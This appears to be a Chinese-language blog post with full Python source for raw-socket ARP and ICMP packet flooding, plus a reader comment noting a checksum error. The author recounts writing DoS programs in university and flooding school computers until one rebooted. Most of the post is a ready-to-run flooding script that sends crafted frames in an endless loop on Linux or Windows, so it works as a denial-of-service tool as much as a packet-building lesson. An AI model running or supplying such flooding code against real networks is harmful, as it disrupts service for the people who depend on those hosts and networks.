這一篇接在用Python寫一個簡單的Sniffer的後面
了解封包拆解的過程後,組封包也就沒那麼難以理解了
投影片一樣在Python 教育訓練課程裡
我在大學專題時,接觸了不少 DOS攻擊程式,其它還有木馬、蠕蟲等等
第一隻自已寫的DOS程式,一樣是使用 winpcap 寫的
當時除了是課程要求之外,實際上還為了測試網卡到底可以送多快
寫了一隻 ICMP Flooding,拿去學校電腦試引擎
記憶中好像是每秒可以打13萬左右,然後…電腦就重開機了…
學校的防火牆做得還不錯嘛…哼!
程式方面,因為時間不夠的關係
只寫了ARP和ICMP Flooding
原始碼
# -*- encoding: utf-8 -*- from __future__ import print_function import struct import socket import binascii import sys TESTCASE_ARP = 0 TESTCASE_ICMP = 1 Interface = "eno50332184" def arp_generator(): arp = arp_header('448a5b468c24', '192.168.20.131', '000000000000', '192.168.20.1') eth = eth_header('448a5b468c24', 'ffffffffffff', '0806') frame = [eth, arp] return b''.join(frame) def icmp_generator(proto_base=socket.IPPROTO_RAW): payload = b"Hello World!" total_len = len(payload) # calc icmp checksum icmp_psh = icmp_header(0x08, 0x0, 0, 1, 1) icmp_check = checksum(icmp_psh + payload) icmp = icmp_header(0x08, 0x0, icmp_check, 1, 1) # Generate ICMP header only if proto_base == socket.IPPROTO_ICMP: return icmp + payload payload = icmp + payload total_len = len(payload) # calc ip checksum ip_psh = ip_header('192.168.20.1', '192.168.20.129', 0x01, id=0x1234) ip_check = checksum(ip_psh + payload) ip_total_length = 20 + total_len # ip header default is 20, if no option ip = ip_header('192.168.20.1', '192.168.20.129', 0x01, id=0x1234, Checksum=ip_check, Total_Len=ip_total_length) payload = ip + payload total_len = len(payload) eth = eth_header('000c29c2f9a4', '10c37b914fc9', '0800') frame = [eth, payload] return b''.join(frame) def checksum(data): length = len(data) s = 0 n = length % 2 # type(data) is bytes in python3 if sys.version_info[0] > 2: for i in range(0, length - n, 2): s += data[i] + (data[i + 1] << 8) if n: s += data[-1] else: # type(data) is str, not bytes in python2 for i in range(0, length - n, 2): s += ord(data[i]) + (ord(data[i + 1]) << 8) if n: s += ord(data[-1]) while (s >> 16): s = (s & 0xFFFF) + (s >> 16) s = ~s & 0xffff return s def arp_header(SMAC, SIP, DMAC, DIP, HTYPE=0x0001, PTYPE=0x0800, HLEN=0x06, PLEN=0x04, OPER=0x01): """Generate arp header HTYPE : Ethernet = 0x0001, PTYPE : IPv4 = 0x0800, HLEN : IEEE 802 MAC addresses = 6, PLEN : IPv4 = 4, OPER : Request = 0x01; Reply = 0x02 :return: arp header """ return struct.pack("!HHBBH6s4s6s4s", HTYPE, PTYPE, HLEN, PLEN, OPER, binascii.a2b_hex(SMAC), socket.inet_aton(SIP), binascii.a2b_hex(DMAC), socket.inet_aton(DIP)) def icmp_header(Type=0x08, Code=0, Checksum=0, id=0, seq=0): """Generate a ICMP header :param Type: Echo request = 0x08 :param Code: 0 :param Checksum: :return: icmp header """ if Type == 0x08: return struct.pack("!BBHHH", Type, Code, socket.htons(Checksum), id, seq) else: return struct.pack("!BBH", Type, Code, socket.htons(Checksum)) def ip_header(SIP, DIP, proto, version=0x04, IHL=0x05, DiffServ=0, ECN=0, Total_Len = 0, id=0, Flags=0x02, Frag_offset=0, TTL=0xff, Checksum = 0): """Generate ip header Version : 4, IHL : Header length / 4 DiffServ : default is 0 ECN : Total length: 20 ~ 65535 id : Flags : Dont Fragment (DF) = 0x02; More Fragments (MF) = 0x01 Frag_Offset : TTL : 0 ~ 255 proto : Define the protocol used in the data portion of the IP data checksum : SIP : source IP address DIP : destination IP address :return: ip header """ ip_ver_ihl = (version << 4) + (IHL & 0x0f) ip_serv_ecn = (DiffServ << 2) + (ECN & 0x03) ip_flag = (Flags << 13) + (Frag_offset & 0x1fff) return struct.pack("!BBHHHBBH4s4s", ip_ver_ihl, ip_serv_ecn, Total_Len, id, ip_flag, TTL, proto, socket.htons(Checksum), socket.inet_aton(SIP), socket.inet_aton(DIP)) def eth_header(SMAC, DMAC, type): return struct.pack('!6s6s2s', binascii.a2b_hex(DMAC), binascii.a2b_hex(SMAC), binascii.a2b_hex(type)) def linux_main(): rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) # Bind the interface, likes eth0 rawSocket.bind((Interface, 0)) if TESTCASE_ARP: # Generate a arp packet packet = arp_generator() elif TESTCASE_ICMP: # Generate a icmp packet packet = icmp_generator() else: print("No test case exist, quit") return # flooding here i = 0 while True: i += 1 print("\rSending {0}...".format(i), end='') rawSocket.send(packet) rawSocket.close() def windows_main(): if TESTCASE_ARP: return elif TESTCASE_ICMP: rawSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) # Generate a icmp packet packet = icmp_generator(socket.IPPROTO_ICMP) else: print("No test case exist, quit") return # Bind a interface with public IP HOST = socket.gethostbyname(socket.gethostname()) rawSocket.bind((HOST, 0)) print("Bind a interface : {0}".format(HOST)) # flooding here i = 0 while True: i += 1 print("\rSending {0}...".format(i), end='') rawSocket.sendto(packet, ('192.168.20.129', 0)) rawSocket.close() if __name__ == '__main__': if sys.platform.lower().startswith("win"): windows_main() else: linux_main()老實說,寫得沒有很好
本來是想寫成class,然後用繼承的方式
以後再說唄
板主你好,謝謝你的程式碼有幫助到我,所以我決定也來貢獻一點我的發現。我發現你的ICMP中IP層的checksum算錯,原因是line 40沒有先把ip_total_length加進去一起算checksum,導致結果不正確。
回覆刪除另外IP層計算checksum時,其實是不需要把他的payload一起丟進去算的,所以line 41寫成 ip_check = checksum(ip_psh)其實就可以了。至於為什麼結果還是會對,原因很簡單,因為payload的部份已經把checksum算好放進去,所以他的sum會是0x0000,不影響line 41的結果。
感謝